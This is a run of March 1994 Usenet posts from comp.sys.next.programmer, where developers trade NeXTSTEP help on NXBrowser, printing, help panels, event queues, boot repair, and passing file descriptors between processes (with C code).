From: hbott@esu.edu (Howard B Ott) Newsgroups: comp.sys.next.programmer Subject: Re: Help with NXBrowser Date: 19 Mar 1994 17:14:18 GMT Organization: East Stroudsburg University, Pennsylvania Message-ID: <2mfbta$ddg@jake.esu.edu> References: <2me02t$het@mustang.alleg.edu> Jeremy Allan Bussard (bussarj@alleg.edu) wrote: : Good evening everyone... : I was wondering if there was any sample code that showed how to : get a listing of a directory into a browser (i.e. like Workspace)? : If there is would someone be so kind as to e-mail me where I can : find this code. Any and all help is greatly appreciated. The NeXTDeveloper/examples/Appkit/BusyBox example uses an NXBrowser which is populated with the names of the help files for the project. It's a start! Does anyone know if the Nebula CD-ROM contians any good examples of NXBrowser code? Berk Ott
From: pkron@corona.com (Peter Kron) Organization: Corona Design, Inc., Seattle, WA Distribution: world Date: Sat, 19 Mar 1994 10:02:26 PST Message-ID: <1994Mar19.180226.3008@corona.com> Newsgroups: comp.sys.next.programmer Subject: Re: wysiNwyg! Why won't this print? References: <PJS.94Mar16162216@bigdog.engr.arizona.edu> From: pjs@bigdog.engr.arizona.edu (Paul J. Sanchez) > The following incredibly simple object displays properly > to the screen, but will not print. I'm probably > overlooking something very simple, but those are the > hardest bugs for the author to find, so any help would > be appreciated. > > <see original post for program> It doesn't appear to be a good idea to do [self setDrawOrigin:] within drawSelf:. You should move that outside of the drawSelf: method or use PStranslate() within drawSelf: (Seems like I've stumbled on this before, too.) Using -NXShowPS YES, we see ------------------- % *** Debug *** Object:806984 Class:MyView Method:lockFocus gsave 40 40 200 200 rectclip [40 0 0 40 40 40] concat % *** Debug *** Object:806984 Class:MyView Method:_display:: 1 setgray 0 0 5 5 rectfill 7 execuserobject setgstate 41 49 200 200 rectclip [40 0 0 40 41 49] concat 0.333333 setgray 2 0 1 4 rectfill % *** Debug *** Object:806984 Class:MyView Method:unlockFocus grestore ------------------- Note the "setgstate", which resets coordinates to base window coordinates. The concat is slightly different since it must now account for the window frame and resize bar. In the EPS generated by printPS: ------------------- gsave 40 40 200 200 rectclip [40 0 0 40 40 40] concat 1 setgray 0 0 5 5 rectfill 41 49 200 200 rectclip [40 0 0 40 41 49] concat 0.333333 setgray 2 0 1 4 rectfill grestore ------------------- The guts are the same, but there is no setgstate (a DPS only operator). So instead of resetting coordinates from scratch, the transform is concatenated to the original transform from setDrawSize:. The result is your rectangle gets drawn way big and way outside the views clipping rectangle. Does seem like a bug in the appkit. I haven't seen any documentation warning about this. Apply the old programmer's maxim: If it hurts, don't do it. --- NeXTMail:Peter_Kron@corona.com Corona Design, Inc. P.O. Box 51022 Seattle, WA 98115-1022
From: nelsonr@livy.ccs.itd.umich.edu (Nelson Manohar) Newsgroups: comp.sys.next.programmer Subject: Help with Application Event Queue! Date: 19 Mar 1994 22:24:25 GMT Organization: University of Michigan Engineering, Ann Arbor Distribution: world Message-ID: <2mfu2pINNrmj@srvr1.engin.umich.edu> Keywords: Event Queue Is there a way to find out how many events are currently waiting in an application's event queue? I think that the queue size is set to 50 entries, but I really want to know the current number of events on it. thanks nelson manohar nelsonr@eecs.umich.edu
Newsgroups: comp.sys.next.programmer From: ed@lancelot.cif.rochester.edu (Ed Schwartz) Subject: Use of addSupplement:inPath: to do help for bundles Message-ID: <1994Mar19.233707.14136@galileo.cc.rochester.edu> Summary: What arguments are correct for this method? Sender: news@galileo.cc.rochester.edu Organization: None whatsoever Date: Sat, 19 Mar 94 23:37:07 GMT I am trying to have a bundle, which is loaded into a main application, add to the help panel provided by the main application. The NXHelpPanel class documentation says that this is supported, and gives the addSupplement:inPath: method as the answer. Unfortunately, the documentation does not specify what the arguments to the method should be, and my attempts to insert various combinations of the absolute and relative paths to the Help directory and the bundle directory have not worked. Can anyone tell me what the arguments should really be? Here, for reference, is the method description for addSupplement:inPath: addSupplement:inPath: - addSupplement:(const char *)helpDirectory inPath:(const char *)supplementPath Adds supplemental help by appending the supplement's TableOfContents.rtf file to the existing table of contents. This method is designed to be used when an application dynamically loads a resource that has its own help information. Returns self. Ed Schwartz ed@lancelot.cif.rochester.edu
From: pjs@bigdog.engr.arizona.edu (Paul J. Sanchez) Newsgroups: comp.sys.next.programmer Subject: Re: wysiNwyg! Why won't this print? Date: 20 Mar 1994 01:31:12 GMT Organization: University of Arizona, CCIT Distribution: world Message-ID: <PJS.94Mar19183112@bigdog.engr.arizona.edu> References: <PJS.94Mar16162216@bigdog.engr.arizona.edu> <1994Mar19.180226.3008@corona.com> In-reply-to: pkron@corona.com's message of Sat, 19 Mar 1994 10:02:26 PST Many thanks to Peter. His solution fixes the problem. Now does that qualify as a bug, worthy of reporting to NeXT? --paul -- --paul paul@whimsy.umsl.edu ================================================================= A free society is one where it is safe to be unpopular. -- Adlai Stevenson =================================================================
Newsgroups: comp.sys.next.programmer From: uunet!lkba!lkb (Larry Blische) Subject: Re: wave goes west... Message-ID: <1994Mar19.162229.3539@lkba.uucp> Sender: lkb@lkba.uucp (Larry Blische) Organization: LKB Associates, Inc. References: <1994Mar17.091915.7470@news.media.mit.edu> Date: Sat, 19 Mar 1994 16:22:29 GMT In article <1994Mar17.091915.7470@news.media.mit.edu> wave@media.mit.edu (Michael B. Johnson) writes: > Before the flames rol in, I *meant* that to just have a distribution > of the bay are, but it didn't seem to take (since I just read it here > on the east coast). Sorry... Are 'remote' distributions like this supposed to work? I've never seen it written down but occasionally wanted to do it. The explainations of distribution that I've seen have to do with limiting the distribution of your post to ever expanding areas centered around the posters site. I.e.: your site your city your state your geographic area your country your world ... Just wondering... --- Larry Blische lkba!lkb@uunet.UU.NET LKB Associates, Inc. NeXTmail Welcome! 3118 Dunglow Road 410 285 2262 Dundalk, Maryland 21222-5304 USA
From: ralf@reswi.en.open.de (Ralf E. Stranzenbach) Newsgroups: comp.databases.object,comp.sys.next.misc,comp.sys.next.programmer Subject: Re: Poet or other OODB on top of NEXTSTEP Date: 19 Mar 1994 21:30:47 GMT Organization: News Server fuer en.open.de Message-ID: <RALF.94Mar19223047@jodokus.en.open.de> References: <1994Mar17.095720.1256@icare.fdn.org> <2m9s1c$m7j@sugar.NeoSoft.COM> <TDZMBO3J@netmbx.netmbx.de> In-reply-to: jrobie@netmbx.netmbx.de's message of Fri, 18 Mar 1994 12:28:05 GMT >>>>> "Jonathan" == Jonathan Robie <jrobie@netmbx.netmbx.de> writes: In article <TDZMBO3J@netmbx.netmbx.de> jrobie@netmbx.netmbx.de (Jonathan Robie) writes: Jonathan> kunkee@sugar.NeoSoft.COM (Randy Kunkee) writes: >> In article <1994Mar17.095720.1256@icare.fdn.org>, Bruno >> Brottier <b_brottier@icare.fdn.org> wrote: >>> Hi netters ! >>> >>> Do anybody have any infos about Poet on NEXTSTEP, or any other >>> OODB on NEXTSTEP. A friend of mine wants to build an app on >>> NEXTSTEP, and do not want to use any RDB. Do you have any >>> pointers/experiences/thought ? >>> >>> Cheers >>> >>> BB Jonathan> Yes, POET is available for the NeXT. In fact, we use Jonathan> the NeXT for a lot of our internal development. Most of Jonathan> our developers have a Windows computer and a NeXT or a Jonathan> Sun on their desk. Is there any chance of an Personal Edition of POET for the NeXT computer that is as payable as the Windows release ? - ralf -- Ralf E.Stranzenbach - (NeXT)-Mail: ralf@reswi.en.open.de Fido: Ralf_Stranzenbach 2:245/5800.12 (Voice)-Phone: +49 2302 / 68403 -- ObNeXTHate: NeXT - finde ich gut! Die zeigt mir 2 Daten und Uhrzeiten an (eimal im NewsGrazer, einmal oben rechts), da kann ich mir wenigstens aussuchen, welche ich nehme ... Heee, Moment!! Wieso bin ich eigentlich noch hier, es ist doch schon 22:30 Uhr --- und zwar *gestern*!! [Martin Schweikert]
Newsgroups: comp.sys.next.programmer From: andrew@stone.com (Andrew Stone) Subject: Re: Use of addSupplement:inPath: to do help for bundles Message-ID: <1994Mar20.033522.782@stone.com> Sender: andrew@stone.com Organization: Stone Design Corp References: <1994Mar19.233707.14136@galileo.cc.rochester.edu> Date: Sun, 20 Mar 1994 03:35:22 GMT In article <1994Mar19.233707.14136@galileo.cc.rochester.edu> ed@lancelot.cif.rochester.edu (Ed Schwartz) writes: > I am trying to have a bundle, which is loaded into a main application, add > to the help panel provided by the main application. The NXHelpPanel class > documentation says that this is supported, and gives the addSupplement:inPath: > method as the answer. Unfortunately, the documentation does not specify > what the arguments to the method should be, and my attempts to insert various > combinations of the absolute and relative paths to the Help directory and the > bundle directory have not worked. Can anyone tell me what the arguments should > really be? > > Here, for reference, is the method description for addSupplement:inPath: > > addSupplement:inPath: > - addSupplement:(const char *)helpDirectory inPath:(const char *)supplementPath > Here's what we use to wrap that call up into something more easy to deal with (use your favorite string package, we like OTI's): @implementation NXHelpPanel (DynaExtensions) + mergeHelpFor:anObj { id bundle; bundle = [NXBundle bundleForClass:[anObj class]]; if(bundle != [NXBundle mainBundle]) { id string = [OTString getTempString]; if([bundle getPathString:string forResource:"Help" ofType:NULL]) [[NXHelpPanel new] addSupplement:"Help" inPath:[bundle directory]]; [OTString freeTempString:string]; } return self; } @end > Ed Schwartz > ed@lancelot.cif.rochester.edu > andrew -- ||<<->>||<<==>>||<<++>>||<<?>|<+>>||<<-->>||<<==>>||<<+>>|| !! Andrew Stone | (505) 345-4800 !! !! andrew@stone.com | Stone Design Corp !! ||<<->>||<<==>>||<<++>>||<<?>|<+>>||<<-->>||<<==>>||<<+>>||
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Use of addSupplement:inPath: to do help for bundles Date: 20 Mar 1994 10:09:22 -0000 Organization: me organised, that's a joke. Message-ID: <2mh7ci$1d5@steffi.demon.co.uk> References: <1994Mar19.233707.14136@galileo.cc.rochester.edu> <1994Mar20.033522.782@stone.com> Note that the supplemental help cannot be in the form of a .store file. From 3.2's release notes. NXHelpPanel If additional help is located in a directory other than YourProject/English.lproj/Help, and that help is to be loaded with the NXHelpPanel method, "addSupplement:inPath:", the help directory must not be compressed (i.e. do not invoke the "compresshelp" utility on it). -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
From: nelsonr@mars.eecs.umich.edu (Nelson R. Manohar) Newsgroups: comp.sys.next.programmer Subject: How can I find size of Application event queue? Date: 20 Mar 1994 15:11:29 GMT Organization: University of Michigan EECS Dept. Distribution: world Message-ID: <2mhp31$mpr@zip.eecs.umich.edu> Keywords: event queue I will like to determine the size of an application's event queue. Is there a way to do this? The DPSGetNextEvent() and DPSPeekNextEvent() only allow me to see if an event is present in the event queue. However, at times I am rather interested in the number of events that are currently posted in the queue. Is there anyway to find out more about the application event queue itself? Thanks, nelson manohar nelsonr@eecs.umich.edu -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FYI;"!4:6UE<RU2;VUA;CM]"EQM M87)G;#$R,`I<;6%R9W(Q,C`*7'!A<F1<='@U-C!<='@Q,3(P7'1X,38X,%QT M>#(R-#!<='@R.#`P7'1X,S,V,%QT>#,Y,C!<='@T-#@P7'1X-3`T,%QT>#4V M,#!<9C!<8C!<:3!<=6QN;VYE7&9S,CA<9F,P7&-F,"!)('=I;&P@;&EK92!T M;R!D971E<FUI;F4@=&AE('-I>F4@;V8@86X@87!P;&EC871I;VXG<UP*979E M;G0@<75E=64N($ES('1H97)E(&$@=V%Y('1O(&1O('1H:7,_(%P*7`I4:&4@ M1%!31V5T3F5X=$5V96YT*"D@86YD($104U!E96M.97AT179E;G0H*5P*;VYL M>2!A;&QO=R!M92!T;R!S964@:68@86X@979E;G0@:7,@<')E<V5N="!I;B!T M:&5<"F5V96YT('%U975E+B!(;W=E=F5R+"!A="!T:6UE<R!)(&%M(')A=&AE M<B!I;G1E<F5S=&5D7`II;B!T:&4@;G5M8F5R(&]F(&5V96YT<R!T:&%T(&%R M92!C=7)R96YT;'D@<&]S=&5D(&EN7`IT:&4@<75E=64N7`I<"DES('1H97)E M(&%N>7=A>2!T;R!F:6YD(&]U="!M;W)E(&%B;W5T('1H92!A<'!L:6-A=&EO M;B!E=F5N=%P*<75E=64@:71S96QF/UP*7`I4:&%N:W,L7`IN96QS;VX@;6%N ?;VAA<EP*;F5L<V]N<D!E96-S+G5M:6-H+F5D=0I]"G,L `
From: nelsonr@mars.eecs.umich.edu (Nelson R. Manohar) Newsgroups: comp.sys.next.programmer Subject: How can I find size of Application event queue? Date: 20 Mar 1994 15:13:52 GMT Organization: University of Michigan EECS Dept. Distribution: world Message-ID: <2mhp7g$ms7@zip.eecs.umich.edu> Keywords: event queue I will like to determine the size of an application's event queue. Is there a way to do this? The DPSGetNextEvent() and DPSPeekNextEvent() only allow me to see if an event is present in the event queue. However, at times I am rather interested in the number of events that are currently posted in the queue. Is there anyway to find out more about the application event queue itself? Thanks, nelson manohar nelsonr@eecs.umich.edu -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FYI;"!4:6UE<RU2;VUA;CM]"EQM M87)G;#$R,`I<;6%R9W(Q,C`*7'!A<F1<='@U-C!<='@Q,3(P7'1X,38X,%QT M>#(R-#!<='@R.#`P7'1X,S,V,%QT>#,Y,C!<='@T-#@P7'1X-3`T,%QT>#4V M,#!<9C!<8C!<:3!<=6QN;VYE7&9S,CA<9F,P7&-F,"!)('=I;&P@;&EK92!T M;R!D971E<FUI;F4@=&AE('-I>F4@;V8@86X@87!P;&EC871I;VXG<UP*979E M;G0@<75E=64N($ES('1H97)E(&$@=V%Y('1O(&1O('1H:7,_(%P*7`I4:&4@ M1%!31V5T3F5X=$5V96YT*"D@86YD($104U!E96M.97AT179E;G0H*5P*;VYL M>2!A;&QO=R!M92!T;R!S964@:68@86X@979E;G0@:7,@<')E<V5N="!I;B!T M:&5<"F5V96YT('%U975E+B!(;W=E=F5R+"!A="!T:6UE<R!)(&%M(')A=&AE M<B!I;G1E<F5S=&5D7`II;B!T:&4@;G5M8F5R(&]F(&5V96YT<R!T:&%T(&%R M92!C=7)R96YT;'D@<&]S=&5D(&EN7`IT:&4@<75E=64N7`I<"DES('1H97)E M(&%N>7=A>2!T;R!F:6YD(&]U="!M;W)E(&%B;W5T('1H92!A<'!L:6-A=&EO M;B!E=F5N=%P*<75E=64@:71S96QF/UP*7`I4:&%N:W,L7`IN96QS;VX@;6%N ?;VAA<EP*;F5L<V]N<D!E96-S+G5M:6-H+F5D=0I]"G,L `
From: nelsonr@mars.eecs.umich.edu (Nelson R. Manohar) Newsgroups: comp.sys.next.programmer Subject: How can I find size of Application event queue? Date: 20 Mar 1994 15:14:28 GMT Organization: University of Michigan EECS Dept. Distribution: world Message-ID: <2mhp8k$ms9@zip.eecs.umich.edu> Keywords: event queue I will like to determine the size of an application's event queue. Is there a way to do this? The DPSGetNextEvent() and DPSPeekNextEvent() only allow me to see if an event is present in the event queue. However, at times I am rather interested in the number of events that are currently posted in the queue. Is there anyway to find out more about the application event queue itself? Thanks, nelson manohar nelsonr@eecs.umich.edu -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FYI;"!4:6UE<RU2;VUA;CM]"EQM M87)G;#$R,`I<;6%R9W(Q,C`*7'!A<F1<='@U-C!<='@Q,3(P7'1X,38X,%QT M>#(R-#!<='@R.#`P7'1X,S,V,%QT>#,Y,C!<='@T-#@P7'1X-3`T,%QT>#4V M,#!<9C!<8C!<:3!<=6QN;VYE7&9S,CA<9F,P7&-F,"!)('=I;&P@;&EK92!T M;R!D971E<FUI;F4@=&AE('-I>F4@;V8@86X@87!P;&EC871I;VXG<UP*979E M;G0@<75E=64N($ES('1H97)E(&$@=V%Y('1O(&1O('1H:7,_(%P*7`I4:&4@ M1%!31V5T3F5X=$5V96YT*"D@86YD($104U!E96M.97AT179E;G0H*5P*;VYL M>2!A;&QO=R!M92!T;R!S964@:68@86X@979E;G0@:7,@<')E<V5N="!I;B!T M:&5<"F5V96YT('%U975E+B!(;W=E=F5R+"!A="!T:6UE<R!)(&%M(')A=&AE M<B!I;G1E<F5S=&5D7`II;B!T:&4@;G5M8F5R(&]F(&5V96YT<R!T:&%T(&%R M92!C=7)R96YT;'D@<&]S=&5D(&EN7`IT:&4@<75E=64N7`I<"DES('1H97)E M(&%N>7=A>2!T;R!F:6YD(&]U="!M;W)E(&%B;W5T('1H92!A<'!L:6-A=&EO M;B!E=F5N=%P*<75E=64@:71S96QF/UP*7`I4:&%N:W,L7`IN96QS;VX@;6%N ?;VAA<EP*;F5L<V]N<D!E96-S+G5M:6-H+F5D=0I]"G,L `
From: d89-pjo@dront.nada.kth.se (Peter Johansson) Newsgroups: comp.sys.next.programmer Subject: Re: Lost my dual-boot! Help! Date: 20 Mar 94 17:39:15 Organization: Royal Institute of Technology, Stockholm, Sweden Message-ID: <D89-PJO.94Mar20173915@dront.nada.kth.se> References: <catsmeatCMx92E.Kp@netcom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit In-reply-to: catsmeat@netcom.com's message of Sat, 19 Mar 1994 17:11:02 GMT Originator: d89-pjo@dront.nada.kth.se > Help me O great next-gurus! Like some newbie-geek, I went to > install DOS 6.2 over the older DOS 6.0 on my DOS partition, and > when it went to reboot, instead of asking for NeXT or DOS, it went > straight to DOS. > > Is there a solution, short of rebuilding the entire disk? Any > solutions found will be reposted, flames will be ignored. > I've done something similair and I found that the command 'disk' can restore the boot selection program. I used the command line /usr/etc/disk -b /dev/rsd0a to restore the boot program. You might need to use another device depending on your configuration. Be warned though that the 'disk' command can destroy the information on the hard disk if used wrongly. Read the man-page before trying it. > Thanks in advance, > Peter Thompson > catsmeat@netcom.com > (408) 459-8399 (phone) Hope this works for you, /Peter -- =============================================================================== Peter Johansson Adr: Isbergs Backe 6 Ph: 08-530 362 18 Email: d89-pjo@nada.kth.se 147 63 Uttran, Sweden Fax: 08-530 682 65
From: sbender@harmony.digex.net (Scott Bender) Newsgroups: comp.sys.next.programmer Subject: NXAutolaunch default? Date: 20 Mar 1994 18:39:31 GMT Organization: Harmony Data Systems Message-ID: <2mi593$6tp@news1.digex.net> I'm trying to be able to tell if my application was auto-launched. Accourding to the documentation I can call: NXGetDefaultValue("MyApp", "NXAutolaunch"). This always return NULL. Is there a secret to this? Maybe I have to call it at a certain time? Thanks, ------------------------------------------------------------------------------ Scott Bender | E-Mail: Scott_Bender@harmony.digex.net, or Harmony Data Systems | sbender@Mountain.Net, or 2141 Wisconsin Ave NW Unit 504 | sbender@access.digex.net, or Washington, DC 20007 | 76057.653@compuserve.com Voice & Fax: 202-342-1214 | (NeXT-Mail Accepted) ------------------------------------------------------------------------------
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Butt ugliness in NeXT's libraries. Date: 20 Mar 1994 17:10:37 -0000 Organization: me organised, that's a joke. Message-ID: <2mi02d$4er@steffi.demon.co.uk> This is a common complaint but how trivial is it to fix? I'm playing about with MiscKit's MiscString and because there's a load of support for all kinds of stuff. You are forced to link against NeXT_s.. This means that a precompiled header for just the MiscString stuff is seriously large. What technical advantages exist for defining NXLogError/NXHomeDirectory/NXUserName in NeXT_s? I mean the prototype is defined in appkit/Application.h Now substitutes for these functions are trivial and it's one solution but I'd like to see this given some serious thought. If I write an app that interacts with the filesystem but doesn't using the window server in any way then I don't think I should have to link against NeXT_s. Re: how hard is it to fix? I mean show me an app that currently links against NeXT_s but doesn't link against lib_sys_s. They got things right when they did Object and the Common class hierarchy. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
From: kline@CS.Arizona.EDU (Nick Kline) Newsgroups: comp.sys.next.programmer,comp.unix.programmer Subject: problem transferring file descriptors Followup-To: comp.sys.next.programmer Date: 20 Mar 1994 13:44:48 -0700 Organization: University of Arizona CS Department, Tucson AZ Message-ID: <2mick0$9f0@cheltenham.cs.arizona.edu> I am trying to transfer an open file descriptor and its not working. The idea is you have a setuid root program which say opens privaleged files and then transfers the open file descriptor to a program which doesn't have to run in privaleged mode. In "Advanced Programming in the Unix Environment", a really boffo book (as James Burke might say), he gives an example program which does this. He gives 4.3bsd, 4.4bsd and SysV.4 examples. I've been trying to make the 4.3bsd (which is intended for sun 4.x) work on my 3.2 ns/fip machine. It doesn't. I get stuck forever waiting in the receiving program. The sender (or server) apparently sends the open file descriptor to the right place and terminates. 'asker' just sits forever waiting for the return message. I've never done any stuff with sockets so I figure I have some obvious kind of error. You run it by running asker with a file to open, it runs 'server' which opens the file and returns the file descriptor. Here's my code: /*==================================================*/ /*first two generic routines, which send and receive fds, copied from * the book's code I ftp'd. */ /* recvfd.c*/ #include <sys/types.h> #include <sys/socket.h> /* struct msghdr */ #include <sys/uio.h> /* struct iovec */ #include <stddef.h> #include "ourhdr.h" /* Receive a file descriptor from another process (a server). * We have a * 2-byte protocol for receiving the fd from send_fd(). */ int recv_fd(int servfd) { int newfd, nread, status; char *ptr, buf[MAXLINE]; struct iovec iov[1]; struct msghdr msg; status = -1; printf("recfd alive\n"); for ( ; ; ) { iov[0].iov_base = buf; iov[0].iov_len = sizeof(buf); msg.msg_iov = iov; msg.msg_iovlen = 1; msg.msg_name = NULL; msg.msg_namelen = 0; msg.msg_accrights = (caddr_t) &newfd;/* addr of descriptor */ msg.msg_accrightslen = sizeof(int); /* receive 1 descriptor */ printf("recfd: about to receive msg: %d\n",servfd); fflush(stdout); /* my code never gets past the recvmsg */ if ( (nread = recvmsg(servfd, &msg, 0)) < 0) { printf("recvmsg error\n"); fflush(stdout); exit(-1); } else if (nread == 0) { printf("connection closed by server"); fflush(stdout); return(-1); } printf("recvfd: got msg:\n"); fflush(stdout); /* See if this is the final data with null & status. Null must be next to last byte of buffer, status byte is last byte. Zero status means there must be a file descriptor to receive. */ for (ptr = buf; ptr < &buf[nread]; ) { if (*ptr++ == 0) { if (ptr != &buf[nread-1]) fprintf(stderr,"message format error"); status = *ptr & 255; if (status == 0) { if (msg.msg_accrightslen != sizeof(int)) fprintf(stderr,"status = 0 but no fd"); /* newfd = the new descriptor */ } else newfd = -status; nread -= 2; } } printf("almost to end of recfvd\n"); if (status >= 0) /* final data has arrived */ return(newfd); /* descriptor, or -status */ } } /*==================================================*/ /* sendfd.c */ #include <sys/types.h> #include <sys/socket.h> /* struct msghdr */ #include <sys/uio.h> /* struct iovec */ #include <errno.h> #include <stddef.h> #include "ourhdr.h" /* Pass a file descriptor to another process. * If fd<0, then -fd is sent back instead as the error status. */ int send_fd(int clifd, int fd) { struct iovec iov[1]; struct msghdr msg; char buf[2]; /* send_fd()/recv_fd() 2-byte protocol */ iov[0].iov_base = buf; iov[0].iov_len = 2; msg.msg_iov = iov; msg.msg_iovlen = 1; msg.msg_name = NULL; msg.msg_namelen = 0; if (fd < 0) { msg.msg_accrights = NULL; msg.msg_accrightslen = 0; buf[1] = -fd; /* nonzero status means error */ if (buf[1] == 0) buf[1] = 1; /* -256, etc. would screw up protocol */ } else { msg.msg_accrights = (caddr_t) &fd; /* addr of descriptor */ msg.msg_accrightslen = sizeof(int); /* pass 1 descriptor */ buf[1] = 0; /* zero status means OK */ } buf[0] = 0; /* null byte flag to recv_fd() */ if (sendmsg(clifd, &msg, 0) != 2) return(-1); return(0); } /*==================================================*/ /* ourhdr.c, the header from the code of the book that I hacked a bit to make it compile on nextstep */ /* Our own header, to be included *after* all standard system headers */ #ifndef __ourhdr_h #define __ourhdr_h typedef size_t ssize_t; typedef int pid_t; #include <sys/types.h> /* required for some of our prototypes */ #include <stdio.h> /* for convenience */ #include <stdlib.h> /* for convenience */ #include <string.h> /* for convenience */ #include <unistd.h> /* for convenience */ #define MAXLINE 4096 /* max line length */ int s_pipe(int *); /* {Progs svr4_spipe bsd_spipe} */ int recv_fd(int); /* {Progs recvfd_svr4 recvfd_43bsd} */ int send_fd(int, int); /* {Progs sendfd_svr4 sendfd_43bsd} */ #endif /* __ourhdr_h */ /*==================================================*/ /* asker.c, the main pgm that runs server */ #include <sys/types.h> #include <sys/wait.h> #include <errno.h> #include <unistd.h> #include <sys/socket.h> #include <stdio.h> #include <stdlib.h> #include "ourhdr.h" #define server_name "server" #define my_send_pipe 0 #define my_rec_pipe 1 /* gets the shared pipe */ int s_pipe(int fd[2]) { return socketpair(AF_UNIX, SOCK_STREAM, 0, fd) ; } int main(int argc,char *argv[]) { int i; int fd[2]; int pid; char cmdstr[128]; int fd_result; int num; s_pipe(fd); /* get socket */ printf("send pipe: %d, rec pipe: %d\n",fd[my_send_pipe],fd[my_rec_pipe]); /* try to get the child process to open the files */ for(i=1;i<argc;i++) { if( (pid = fork()) < 0) { printf("out of processes\n"); } else if(pid == 0) { /* child */ sprintf(cmdstr,"%d",fd[my_rec_pipe]); execl(server_name, cmdstr, argv[i],(char *)0); fprintf(stderr, "some problem, still alive after forking child\n"); _exit(127); } else { /* parent */ printf("waiting to receive stuff\n"); fd_result = recv_fd( fd[my_rec_pipe]); if(fd_result > 0) { printf("hey, it worked on file %s\n",argv[i]); fflush(stdout); num = read(fd_result,cmdstr,20); printf("read %d bytes: <%s>\n",num,cmdstr); close(fd_result); } printf("end of parent loop\n"); fflush(stdout); } } /* end of for */ } /* ==================================================*/ /* server.c, compiled to server, which is called by asker */ #include <sys/types.h> #include <sys/stat.h> #include <sys/fcntl.h> #include <sys/wait.h> #include <errno.h> #include <unistd.h> #include <sys/param.h> #include "ourhdr.h" /* called with the socket number and file to open like this: 19281 /usr/fred/filename */ int main(int argc, char **argv) { int i; int return_fd; int fd; char filename[MAXPATHLEN]; FILE *fin; printf("from server: params are:\n"); for(i=0;i<argc;i++) printf("(server %d): %s\n",i,argv[i]); return_fd = atoi(argv[0]); fd = open(argv[1],O_RDWR,0); printf("server: result of open is %d\n",fd); printf("sending message to %d: result is %d\n",return_fd,send_fd(return_fd,fd)); printf("server terminates\n"); } -nick kline
From: dekorte@scri.fsu.edu (Steve Dekorte) Newsgroups: comp.sys.next.programmer Subject: Postscript question Date: 20 Mar 1994 21:59:45 GMT Organization: Florida State University Message-ID: <2mih0h$9g8@mailer.fsu.edu> Keywords: ack When I use the following for drawing my lines: - draw2dLineFrom:(float)xx1 :(float)yy1 to:(float)xx2 :(float)yy2 { PSmoveto(xx1, yy1); PSlineto(xx2, yy2); PSstroke(); return self; } All the lines become interconnected. Does anyone know what I need to change to get this to work right? (The NeXT PostScript documentation is almost non-existant) Thanks for any help, Steve PS. please respond by email.
From: damartin@mtl.mit.edu (David A. Martin) Newsgroups: comp.sys.next.programmer,comp.sys.next.misc Subject: Next Computer for Sale Date: 20 Mar 1994 23:50:12 GMT Organization: MIT Microsystems Technology Laboratories Message-ID: <2minfk$2sp@senator-bedfellow.MIT.EDU> A friend of mine is selling his Next Turbo Color with 3.1 OS. It has a 17 inch monitor, 400 Meg hard drive, and 32 Meg of RAM. He is willing to consider any reasonable offer. To contact him: Name: Tolga Erdogus email: terdog@aigtc.com home: 203-531-6327 (after 6:15PM) work: 203-861-3005 (8AM-6PM)
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: NXAutolaunch default? Date: 20 Mar 1994 23:52:27 GMT Organization: San Francisco State University Message-ID: <2minjr$fn7@nic-nac.CSU.net> References: <2mi593$6tp@news1.digex.net> In article <2mi593$6tp@news1.digex.net> Scott_Bender@harmony.digex.net writes: > NXGetDefaultValue("MyApp", "NXAutolaunch"). > >This always return NULL. Is there a secret to this? You need to capitalize it appropriately: NXAutoLaunch -=EPS=-
Newsgroups: comp.sys.next.programmer From: catsmeat@netcom.com (Peter Thompson) Subject: Re: Lost my dual-boot! Help! Message-ID: <catsmeatCMzto8.Btw@netcom.com> Summary: It's working now. Thanks. Organization: Relax, Don't Worry, Have a Homebrew! References: <catsmeatCMx92E.Kp@netcom.com> <D89-PJO.94Mar20173915@dront.nada.kth.se> Date: Mon, 21 Mar 1994 02:31:19 GMT Well, thanks to all who wrote me with the information. I got the system back up and running, with no loss of files. The trick to this one was as follows: boot up with DOS run fdisk select the next partition as the active selection reboot Once again, thanks. Peter Thompson.
From: Matt_Watson@next.com (Matt Watson) Newsgroups: comp.sys.next.programmer Subject: Re: An Edit.app difference b/w 3.1 and 3.2? Date: 21 Mar 1994 07:32:20 GMT Organization: NeXT, Inc. Distribution: usa Message-ID: <2mjii4$esd@rosie.next.com> References: <2mf7kn$28l@steffi.demon.co.uk> In article <2mf7kn$28l@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes: > It is me? > > In 3.1 you could just tripple click a line like > > #import "Mailer.h" > > and then CMD O would open the file. For this to work, the file has to be recognized as a "CFileText-mode" file. If you load a file with a c, h, m, cc, cxx, or C extension, Edit does this automatically. Unfortunately, it doesn't do it when you create a new file. There is an easy workaround, though. You have to save the file with the desired extension, then cmd-u to revert to the saved version, and trigger the mode change. The window's title bar gives you a clue: UNTITLED -- .../some/path changes to Foo.h -- .../some path when saved, and then Foo.h - C - .../some path after cmd-u, when edit recognizes it as a C-mode file. This *is* a bug, by the way. Edit should recognize the extension when the file is saved... matt.
